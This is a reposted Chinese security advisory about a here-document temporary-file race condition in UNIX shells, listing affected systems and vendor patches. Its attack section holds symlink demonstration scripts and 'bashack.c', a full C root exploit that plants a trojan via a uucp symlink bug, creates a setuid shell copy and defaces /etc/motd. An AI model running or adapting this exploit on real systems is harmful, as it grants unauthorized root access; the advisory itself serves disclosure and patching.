学院栏目导航: 业界新闻 网页设计 程序设计 数据库类 网络技术 操作系统 图形图像 办公软件 考试认证 多媒体类 硬件资讯

您的位置:首页-> 资讯中心-> 网络技术-> 黑客天空-> UNIX SHELL重定向操作存在竞争条件漏洞

→ 黑客天空

  服务器
网络安全
黑客天空
病毒快报
局域网
网络其他
搜索引擎

广告专栏


本类阅读TOP10
·黑客常用命令之telnet命令
·黑客入门级菜鸟必修教程
·经典黑客软件大奉送
·黑客:SQL服务器入侵实战演习
·黑客帝国数字流特效制作揭密
·黑客入侵所需要的几个常用命令
·底层:Windows黑客编程基础
·通用手工查杀木马的方法
·黑客工具轻易窥视QQ聊天记录
·黑客知识之木马攻击教程

UNIX SHELL重定向操作存在竞争条件漏洞

来源:未知 发表时间:2004-11-14 【ovo.com.cn

Apple MacOS X 10.0
Apple MacOS X 10.0.1
Apple MacOS X 10.0.2
Apple MacOS X 10.0.3
Apple MacOS X 10.0.4
Caldera eDesktop 2.4
Caldera eServer 2.3
Caldera OpenLinux Desktop 2.3
Conectiva Linux graficas
Conectiva Linux ecommerce
Conectiva Linux 4.0es
Conectiva Linux 4.0
Conectiva Linux 4.1
Conectiva Linux 4.2
Conectiva Linux 5.0
Conectiva Linux 5.1
Digital (Compaq) TRU64/DIGITAL UNIX 5.0
FreeBSD FreeBSD 3.5.1
FreeBSD FreeBSD 4.2
FreeBSD FreeBSD 5.0
HP HP-UX 9.0
HP HP-UX 11.11
MandrakeSoft Linux Mandrake 6.0
MandrakeSoft Linux Mandrake 6.1
MandrakeSoft Linux Mandrake 7.0
MandrakeSoft Linux Mandrake 7.1
MandrakeSoft Linux Mandrake 7.2
Netscape Communicator 6.01a
- Sun Solaris 7.0
- Sun Solaris 8.0
RedHat Linux 5.2 sparc
RedHat Linux 5.2 i386
RedHat Linux 5.2 alpha
RedHat Linux 6.0 sparc
RedHat Linux 6.0 i386
RedHat Linux 6.0 alpha
RedHat Linux 6.1 sparc
RedHat Linux 6.1 i386
RedHat Linux 6.1 alpha
RedHat Linux 6.2E sparc
RedHat Linux 6.2E i386
RedHat Linux 6.2E alpha
RedHat Linux 6.2 sparc
RedHat Linux 6.2 i386
RedHat Linux 6.2 alpha
S.u.S.E. Linux 7.0
SCO Open Server 5.0
SCO Open Server 5.0.1
SCO Open Server 5.0.2
SCO Open Server 5.0.3
SCO Open Server 5.0.4
SCO Open Server 5.0.5
SCO Open Server 5.0.6a
SCO Open Server 5.0.6
SGI IRIX 6.5
SGI IRIX 6.5.1
SGI IRIX 6.5.2
SGI IRIX 6.5.3
SGI IRIX 6.5.4
SGI IRIX 6.5.5
SGI IRIX 6.5.6
SGI IRIX 6.5.7
SGI IRIX 6.5.8
SGI IRIX 6.5.9
SGI IRIX 6.5.10
SGI IRIX 6.5.11
SGI IRIX 6.5.12
SGI IRIX 6.5.13
Sun Solaris 2.5.1
Sun Solaris 2.6
Sun Solaris 7.0
tcsh tcsh 6.7.2
tcsh tcsh 6.8.00
tcsh tcsh 6.9.00
Wirex Immunix OS 6.2


不受影响的系统:
-----------------------------------------------------------------------
---------

Apple MacOS X 10.1
HP HP-UX 11.0
IBM AIX 4.3.3
SGI IRIX 6.5.14
Sun Solaris 8.0


漏洞内容:
-----------------------------------------------------------------------
---------

bash, tcsh, cash, ksh 和 sh 是各种UNIX系统下的SHELL程序,其中
存在一个漏洞可以允许攻击者可以任意写文件。

脚本和命令行如果使用^^作为重定向操作建立文件,会在/tmp目录下建立
可猜测名字的临时文件,而且建立在/tmp目录下的文件没有检查文件是否
存在,这样可以通过符号连接攻击者可以使用重定向操作用户权限来写
任意文件。造成拒绝服务攻击或者权限提升。


攻击实例:
-----------------------------------------------------------------------
---------

Paul Szabo ^psz@maths.usyd.edu.au^ :

#!/bin/ksh -x
touch /tmp/silly.1
ln -s /tmp/silly.1 /tmp/sh$$.1
ls -l /tmp/silly.* /tmp/sh$$.*
cat ^^EOF
Just some short text
EOF
ls -l /tmp/silly.* /tmp/sh$$.*
rm /tmp/silly.* /tmp/sh$$.*

------------------------sh exploit---------------------------------
/tmp# echo 'hello world' > rootfile
/tmp# chmod 600 rootfile
/tmp# ln -s rootfile sh$$
/tmp# chown -h 666.666 sh$$
/tmp# ls -l rootfile sh$$
-rw------- 1 root root 12 Oct 29 03:55 rootfile
lrwxrwxrwx 1 666 666 8 Oct 29 03:56 sh12660 ->
rootfile
/tmp# cat ^^BAR
? FOO
? BAR
FOO
o world
/tmp# ls -l rootfile sh$$
/bin/ls: sh12660: No such file or directory
-rw------- 1 root root 12 Oct 29 03:56 rootfile
/tmp# cat rootfile
FOO
o world
/tmp#

---------------------------------------------------------------

/**************************************************************

root exploit: multiple subsystem errors allowing root exploit

bashack.c - Thu Nov 30 21:50:50 NZDT 2000

/etc/rc.d/ and scripts that are trusting the untrustworthy.
/bin/sh acts silly when u get it to use the ^^ redirection.
it creates a mode 666 file with an easily predictable name,
containing the pid as the only variant. As the same sequence
of events happens at most start ups, the pid of the line in
/etc/rc.d/rc.sysinit that creates the /boot/kernel.h file
which uses ^^ can be exploited. With another bit of bad
it will take until the next run of cron.weekly till you
have root. I'm sure someone can come up with a faster way.
(hint: lotsa stuff run as root have /sbin and /usr/sbin
in their paths. / is a pain when backticking, making it
hard to tell the program what to run... FNAME below is
a method of getting around that, but its ugly as sin ;])


[root@continuity /root]# rpm -qf /usr/bin/uucp
uucp-1.06.1-20
[root@continuity /root]# rpm -qf /etc/rc.d/rc3.d
chkconfig-1.0.7-2
initscripts-4.48-1
[root@continuity /root]# rpm -qf /bin/bash
bash-1.14.7-16
[root@continuity /root]# rpm -qf /etc/cron.weekly/makewhatis.cron
man-1.5g-6

The big bug is like the tcsh one someone mentioned a while ago.

*****************************************************************/
#include ^stdlib.h^
#include ^stdio.h^
#define FNAME "/usr/man/man1/last.1.gz;export PATH=.;cd ..;cd ..;cd
..;cd ..;cd usr;cd sbin;uuconv;.1.gz"

main()
{
int d;
char fn[2000];
char *homedir;
FILE *file;
printf("bashack - root using multiple config/input validation
errors\n\n");
printf("creating trojan in /usr/sbin/uuconv\n");
printf(" - uucp bug -\n");
printf("uucp follows symlinks as euid=uucp, (uid,gid,egid=you)\n\n");
homedir=getenv("HOME");
sprintf(fn,"%s/bashacker/",homedir);
mkdir(fn);
chdir(fn);
sprintf(fn,"%s/bashacker/bashaker",homedir);
unlink(fn);
printf("== uuconv replacement\n");
printf("* making uuconv.c\n");
sprintf(fn,"%s/bashacker/uuconv.c",homedir);
file=fopen(fn,"w");
sprintf(fn,"%s/bashacker",homedir);
fprintf(file,"main()\n{\n");
fprintf(file,"printf(\"sendmail\n\");\n");
fprintf(file,"system(\"/bin/cp /bin/bash %s/bashacker;",fn);
fprintf(file,"/bin/chmod 6711 %s/bashacker;",fn);
fprintf(file,"echo hacked by %s>>/etc/motd;",getenv("LOGNAME"));
fprintf(file,"echo -n \\\"at about \\\" >>/etc/motd; /bin/date >>/etc/motd");
fprintf(file,"\");\n");
fprintf(file,"}\n");
fclose(file);
printf("* compiling ./uuconv.c ==> ./uuconv \n");
system("cc -o uuconv uuconv.c -O2;strip uuconv");
unlink("/var/spool/uucppublic/uuconv");
symlink("/usr/sbin/uuconv","/var/spool/uucppublic/uuconv");
printf("* copying to /usr/sbin via uucp bug\n");
sprintf(fn,
"/usr/bin/uucp %s/bashacker/uuconv
/var/spool/uucppublic/uuconv",homedir);
system(fn);
printf("== cleaning up a little.\n");
unlink("/var/spool/uucppublic/uuconv");
unlink("uuconv");
unlink("uuconv.c");
printf("== set up /tmp for bash part of exploit.\n");
for(d=100;d小于150;d++)
/*
on my machine its something like 118-120 or something, but it does
depend on what was running, or what files existed and stuff.
so please excuse the shotgun approach.
*/
{
sprintf(fn,"/tmp/t%d-sh",d);
unlink(fn);
symlink(FNAME,fn);
}
printf("* my work here is done.\n\n");
printf("now pray for some kinda of crash.\n\n\t--zen\n");
}



解决方案:
-----------------------------------------------------------------------
---------

尽快采用如下补丁程序:

Caldera eServer 2.3:

Caldera RPM eServer 2.3 bash-1.14.7-14.i386.rpm
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/bash-
1.14.7-14.i386.rpm

Caldera OpenLinux Desktop 2.3:

Caldera RPM Desktop 2.3 bash-1.14.7-14.i386.rpm
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/bas
h-1.14.7-14.i386.rpm

Caldera eDesktop 2.4:

Caldera RPM eDesktop 2.4 bash-1.14.7-14.i386.rpm
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/

Conectiva Linux graficas:

Conectiva RPM graficas i386 bash-1.14.7-26cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/bash-1.14
.7-26cl.i386.rpm

Conectiva Linux ecommerce:

Conectiva RPM ecommerce i386 bash-1.14.7-26cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/bash-1.1
4.7-26cl.i386.rpm

Conectiva Linux 4.0es:

Conectiva RPM 4.0es i386 bash-1.14.7-24cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0es/i386/bash-1.14.7-24cl.i386.rp
m

Conectiva Linux 4.0:

Conectiva RPM 4.0 i386 bash-1.14.7-24cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/bash-1.14.7-24cl.i386.rpm

Conectiva Linux 4.1:

Conectiva RPM 4.1 i386 bash-1.14.7-24cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.1/i386/bash-1.14.7-24cl.i386.rpm

Conectiva Linux 4.2:

Conectiva RPM 4.2 i386 bash-1.14.7-24cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.2/i386/bash-1.14.7-24cl.i386.rpm

Conectiva Linux 5.0:

Conectiva RPM 5.0 i386 bash-1.14.7-26cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.0/i386/bash-1.14.7-26cl.i386.rpm

Conectiva Linux 5.1:

Conectiva RPM 5.1 i386 bash-1.14.7-29cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/5.1/i386/bash-1.14.7-29cl.i386.rpm

Digital (Compaq) TRU64/DIGITAL UNIX 5.0:
FreeBSD FreeBSD 3.5.1:

FreeBSD Upgrade ports-3 i386 bash-1.14.7.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/shells/b
ash-1.14.7.tgz

FreeBSD FreeBSD 4.2:

FreeBSD Upgrade ports-4 i386 bash-1.14.7.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-stable/shells/b
ash-1.14.7.tgz

FreeBSD Upgrade ports-4 alpha bash-1.14.7.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-stable/shells/
bash-1.14.7.tgz

FreeBSD FreeBSD 5.0:

FreeBSD Upgrade ports-5 i386 bash-1.14.7.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-5-current/shells/
bash-1.14.7.tgz

FreeBSD Upgrade ports-5 alpha bash-1.14.7.tgz
ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-5-current/shells
/bash-1.14.7.tgz

HP HP-UX 9.0:
HP HP-UX 11.11:
MandrakeSoft Linux Mandrake 6.0:

MandrakeSoft RPM 6.0 i386 bash1-1.14.7-19.1mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/6.0/RPMS/b
ash1-1.14.7-19.1mdk.i586.rpm

MandrakeSoft Linux Mandrake 6.1:

MandrakeSoft RPM 6.1 i386 bash1-1.14.7-19.1mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/6.1/RPMS/b
ash1-1.14.7-19.1mdk.i586.rpm

MandrakeSoft Linux Mandrake 7.0:

MandrakeSoft RPM 7.0 i386 bash1-1.14.7-19.1mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/7.0/RPMS/b
ash1-1.14.7-19.1mdk.i586.rpm

MandrakeSoft Linux Mandrake 7.1:

MandrakeSoft RPM 7.1 i386 bash1-1.14.7-21.1mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/7.1/RPMS/b
ash1-1.14.7-21.1mdk.i586.rpm

MandrakeSoft Linux Mandrake 7.2:

MandrakeSoft RPM 7.2 i386 bash1-1.14.7-24.1mdk.i586.rpm
http://sunsite.ualberta.ca/pub/Mirror/Linux/mandrake/updates/7.2/RPMS/b
ash1-1.14.7-24.1mdk.i586.rpm

Netscape Communicator 6.01a:
RedHat Linux 5.2 sparc:

Red Hat Inc. RPM 5.2 sparc bash-1.14.7-23.5x.sparc.rpm
ftp://updates.redhat.com/5.2/sparc/bash-1.14.7-23.5x.sparc.rpm

RedHat Linux 5.2 i386:

Red Hat Inc. RPM 5.2 i386 bash-1.14.7-23.5x.i386.rpm
ftp://updates.redhat.com/5.2/i386/bash-1.14.7-23.5x.i386.rpm

RedHat Linux 5.2 alpha:

Red Hat Inc. RPM 5.2 alpha bash-1.14.7-23.5x.alpha.rpm
ftp://updates.redhat.com/5.2/alpha/bash-1.14.7-23.5x.alpha.rpm

RedHat Linux 6.0 sparc:

Red Hat Inc. RPM 6.2 sparc bash-1.14.7-23.6x.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/bash-1.14.7-23.6x.sparc.rpm

RedHat Linux 6.0 i386:

Red Hat Inc. RPM 6.2 i386 bash-1.14.7-23.6x.i386.rpm
ftp://updates.redhat.com/6.2/i386/bash-1.14.7-23.6x.i386.rpm

RedHat Linux 6.0 alpha:

Red Hat Inc. RPM 6.2 alpha bash-1.14.7-23.6x.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/bash-1.14.7-23.6x.alpha.rpm

RedHat Linux 6.1 sparc:

Red Hat Inc. RPM 6.2 sparc bash-1.14.7-23.6x.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/bash-1.14.7-23.6x.sparc.rpm

RedHat Linux 6.1 i386:

Red Hat Inc. RPM 6.2 i386 bash-1.14.7-23.6x.i386.rpm
ftp://updates.redhat.com/6.2/i386/bash-1.14.7-23.6x.i386.rpm

RedHat Linux 6.1 alpha:

Red Hat Inc. RPM 6.2 alpha bash-1.14.7-23.6x.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/bash-1.14.7-23.6x.alpha.rpm

RedHat Linux 6.2E sparc:

Red Hat Inc. RPM 6.2 sparc bash-1.14.7-23.6x.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/bash-1.14.7-23.6x.sparc.rpm

RedHat Linux 6.2E i386:

Red Hat Inc. RPM 6.2 i386 bash-1.14.7-23.6x.i386.rpm
ftp://updates.redhat.com/6.2/i386/bash-1.14.7-23.6x.i386.rpm

RedHat Linux 6.2E alpha:

Red Hat Inc. RPM 6.2 alpha bash-1.14.7-23.6x.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/bash-1.14.7-23.6x.alpha.rpm

RedHat Linux 6.2 sparc:

Red Hat Inc. RPM 6.2 sparc bash-1.14.7-23.6x.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/bash-1.14.7-23.6x.sparc.rpm

RedHat Linux 6.2 i386:

Red Hat Inc. RPM 6.2 i386 bash-1.14.7-23.6x.i386.rpm
ftp://updates.redhat.com/6.2/i386/bash-1.14.7-23.6x.i386.rpm

RedHat Linux 6.2 alpha:

Red Hat Inc. RPM 6.2 alpha bash-1.14.7-23.6x.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/bash-1.14.7-23.6x.alpha.rpm

S.u.S.E. Linux 7.0:
SCO Open Server 5.0:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.1:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.2:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.3:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.4:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.5:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.6a:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SCO Open Server 5.0.6:

SCO Upgrade OpenServer shells.tar.Z
ftp://stage.caldera.com/pub/security/openserver/CSSA-2001-SCO.24/

SGI IRIX 6.5:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.1:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.2:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.3:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.4:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.5:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.6:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.7:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.8:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.9:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.10:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.11:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.12:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

SGI IRIX 6.5.13:

SGI Upgrade IRIX 6.5.14 Maintenance Release
http://support.sgi.com/colls/patches/tools/relstream/index.html

Sun Solaris 2.5.1:
Sun Solaris 2.6:
Sun Solaris 7.0:
tcsh tcsh 6.7.2:

Debian Upgrade 2.2 alpha tcsh-kanji_6.09.00-10_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tcsh-
kanji_6.09.00-10_alpha.deb

Trustix RPM 1.0/1.1 tcsh-6.09-5tr.i586
ftp://ftp.trustix.net/pub/Trustix/updates/tcsh-6.09-5tr.i586.rpm

Debian Upgrade 2.2 alpha tcsh_6.09.00-10_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tcsh_
6.09.00-10_alpha.deb

Debian Upgrade 2.2 arm tcsh-kanji_6.09.00-10_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tcsh-ka
nji_6.09.00-10_arm.deb

Debian Upgrade 2.2 arm tcsh_6.09.00-10_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tcsh_6.
09.00-10_arm.deb

Debian Upgrade 2.2 (Intel): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-i386/tcsh-k
anji_6.09.00-10_i386.deb

Debian Upgrade 2.2 (Intel): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-i386/tcsh_6
.09.00-10_i386.deb

Debian Upgrade 2.2 (m68k): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-m68k/tcsh-k
anji_6.09.00-10_m68k.deb

Debian Upgrade 2.2 (m68k): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-m68k/tcsh_6
.09.00-10_m68k.deb

Debian Upgrade 2.2 (ppc): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tcs
h-kanji_6.09.00-10_powerpc.deb

Debian Upgrade 2.2 (ppc): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tcs
h_6.09.00-10_powerpc.deb

Debian Upgrade 2.2 (Sparc): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-sparc/tcsh-
kanji_6.09.00-10_sparc.deb

Debian Upgrade 2.2 (Sparc): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-sparc/tcsh_
6.09.00-10_sparc.deb

tcsh tcsh 6.8.00:

Debian Upgrade 2.2 alpha tcsh-kanji_6.09.00-10_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tcsh-
kanji_6.09.00-10_alpha.deb

Trustix RPM 1.0/1.1 tcsh-6.09-5tr.i586
ftp://ftp.trustix.net/pub/Trustix/updates/tcsh-6.09-5tr.i586.rpm

Debian Upgrade 2.2 alpha tcsh_6.09.00-10_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tcsh_
6.09.00-10_alpha.deb

Debian Upgrade 2.2 arm tcsh-kanji_6.09.00-10_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tcsh-ka
nji_6.09.00-10_arm.deb

Debian Upgrade 2.2 arm tcsh_6.09.00-10_arm.deb
http://security.debian.org/dists/stable/updates/main/binary-arm/tcsh_6.
09.00-10_arm.deb

Debian Upgrade 2.2 (Intel): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-i386/tcsh-k
anji_6.09.00-10_i386.deb

Debian Upgrade 2.2 (Intel): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-i386/tcsh_6
.09.00-10_i386.deb

Debian Upgrade 2.2 (m68k): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-m68k/tcsh-k
anji_6.09.00-10_m68k.deb

Debian Upgrade 2.2 (m68k): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-m68k/tcsh_6
.09.00-10_m68k.deb

Debian Upgrade 2.2 (ppc): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tcs
h-kanji_6.09.00-10_powerpc.deb

Debian Upgrade 2.2 (ppc): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tcs
h_6.09.00-10_powerpc.deb

Debian Upgrade 2.2 (Sparc): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-sparc/tcsh-
kanji_6.09.00-10_sparc.deb

Debian Upgrade 2.2 (Sparc): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-sparc/tcsh_
6.09.00-10_sparc.deb

Conectiva RPM 4.0 i386 tcsh-6.08.00-7cl.i386.rpm
ftp://atualizacoes.conectiva.com.br/4.0/i386/tcsh-6.08.00-7cl.i386.rpm

Conectiva RPM 4.0es i386 tcsh-6.08.00-7cl
ftp://atualizacoes.conectiva.com.br/4.0es/i386/tcsh-6.08.00-7cl.i386.rp
m

Conectiva RPM 4.1 i386 tcsh-6.09.00-7cl
ftp://atualizacoes.conectiva.com.br/4.1/i386/tcsh-6.09.00-7cl.i386.rpm

Conectiva RPM 4.2 i386 tcsh-6.09.00-7cl
ftp://atualizacoes.conectiva.com.br/4.2/i386/tcsh-6.09.00-7cl.i386.rpm

Conectiva RPM 5.0 i386 tcsh-6.09.00-7cl
ftp://atualizacoes.conectiva.com.br/5.0/i386/tcsh-6.09.00-7cl.i386.rpm

Conectiva RPM 5.1 i386 tcsh-6.09.00-7cl
ftp://atualizacoes.conectiva.com.br/5.1/i386/tcsh-6.09.00-7cl.i386.rpm

Conectiva RPM ecommerce i386 tcsh-6.09.00-7cl
ftp://atualizacoes.conectiva.com.br/ferramentas/ecommerce/i386/tcsh-6.0
9.00-7cl.i386.rpm

Conectiva RPM graficas i386 tcsh-6.09.00-7cl
ftp://atualizacoes.conectiva.com.br/ferramentas/graficas/i386/tcsh-6.09
.00-7cl.i386.rpm

tcsh tcsh 6.9.00:

Debian Upgrade 2.2 alpha tcsh-kanji_6.09.00-10_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tcsh-
kanji_6.09.00-10_alpha.deb

Red Hat Inc. RPM 5.2 alpha tcsh-6.10-0.5.x
ftp://updates.redhat.com/5.2/alpha/tcsh-6.10-0.5.x.alpha.rpm

Debian Upgrade 2.2 (Intel): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-i386/tcsh-k
anji_6.09.00-10_i386.deb

Debian Upgrade 2.2 (Intel): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-i386/tcsh_6
.09.00-10_i386.deb

Debian Upgrade 2.2 (m68k): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-m68k/tcsh-k
anji_6.09.00-10_m68k.deb

Debian Upgrade 2.2 (m68k): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-m68k/tcsh_6
.09.00-10_m68k.deb

Debian Upgrade 2.2 (ppc): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tcs
h-kanji_6.09.00-10_powerpc.deb

Debian Upgrade 2.2 (ppc): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-powerpc/tcs
h_6.09.00-10_powerpc.deb

Debian Upgrade 2.2 (Sparc): tcsh-kanji_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-sparc/tcsh-
kanji_6.09.00-10_sparc.deb

Debian Upgrade 2.2 (Sparc): tcsh_6.09.00-10
http://security.debian.org/dists/stable/updates/main/binary-sparc/tcsh_
6.09.00-10_sparc.deb

Red Hat Inc. RPM 5.2 sparc tcsh-6.10-0.5.x
ftp://updates.redhat.com/5.2/sparc/tcsh-6.10-0.5.x.sparc.rpm

Red Hat Inc. RPM 5.2 i386 tcsh-6.10-0.5.x
ftp://updates.redhat.com/5.2/i386/tcsh-6.10-0.5.x.i386.rpm

Red Hat Inc. RPM 6.0 sparc tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.0/sparc/tcsh-6.10-0.6.x.sparc.rpm

Red Hat Inc. RPM 6.0 i386 tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.0/i386/tcsh-6.10-0.6.x.i386.rpm

Red Hat Inc. RPM 6.0 alpha tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.0/alpha/tcsh-6.10-0.6.x.alpha.rpm

Red Hat Inc. RPM 6.1 alpha tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.1/alpha/tcsh-6.10-0.6.x.alpha.rpm

Red Hat Inc. RPM 6.1 sparc tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.1/sparc/tcsh-6.10-0.6.x.sparc.rpm

Red Hat Inc. RPM 6.1 i386 tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.1/i386/tcsh-6.10-0.6.x.i386.rpm

Red Hat Inc. RPM 6.2 alpha tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.2/alpha/tcsh-6.10-0.6.x.alpha.rpm

Red Hat Inc. RPM 6.2 sparc tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.2/sparc/tcsh-6.10-0.6.x.sparc.rpm

Red Hat Inc. RPM 6.2 i386 tcsh-6.10-0.6.x
ftp://updates.redhat.com/6.2/i386/tcsh-6.10-0.6.x.i386.rpm

Red Hat Inc. RPM 7.0 alpha tcsh-6.10-1
ftp://updates.redhat.com/7.0/alpha/tcsh-6.10-1.alpha.rpm

Red Hat Inc. RPM 7.0 i386 tcsh-6.10-1
ftp://updates.redhat.com/7.0/i386/tcsh-6.10-1.i386.rpm

Caldera RPM OpenLinux 2.3 tcsh-6.10.00-2
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/tcs
h-6.10.00-2.i386.rpm

Caldera RPM OpenLinux 2.3: tcsh-doc-html-6.10.00-2
ftp://ftp.calderasystems.com/pub/updates/OpenLinux/2.3/current/RPMS/tcs
h-doc-html-6.10.00-2.i386.rpm

Caldera RPM eServer 2.3/eBuilder 3.0: tcsh-6.10.00-2
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/tcsh-
6.10.00-2.i386.rpm

Caldera RPM eServer 2.3/eBuilder 3.0: tcsh-doc-html-6.10.00-2
ftp://ftp.calderasystems.com/pub/updates/eServer/2.3/current/RPMS/tcsh-
doc-html-6.10.00-2.i386.rpm

Caldera RPM eDesktop 2.4: tcsh-6.10.00-2
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/tcsh
-6.10.00-2.i386.rpm

Caldera RPM eDesktop 2.4: tcsh-doc-html-6.10.00-2
ftp://ftp.calderasystems.com/pub/updates/eDesktop/2.4/current/RPMS/tcsh
-doc-html-6.10.00-2.i386.rpm

Trustix RPM 1.0/1.1 tcsh-6.09-5tr.i586
ftp://ftp.trustix.net/pub/Trustix/updates/tcsh-6.09-5tr.i586.rpm

Debian Upgrade 2.2 alpha tcsh_6.09.00-10_alpha.deb
http://security.debian.org/dists/stable/updates/main/binary-alpha/tcsh_
6.09.00-10_alpha.deb

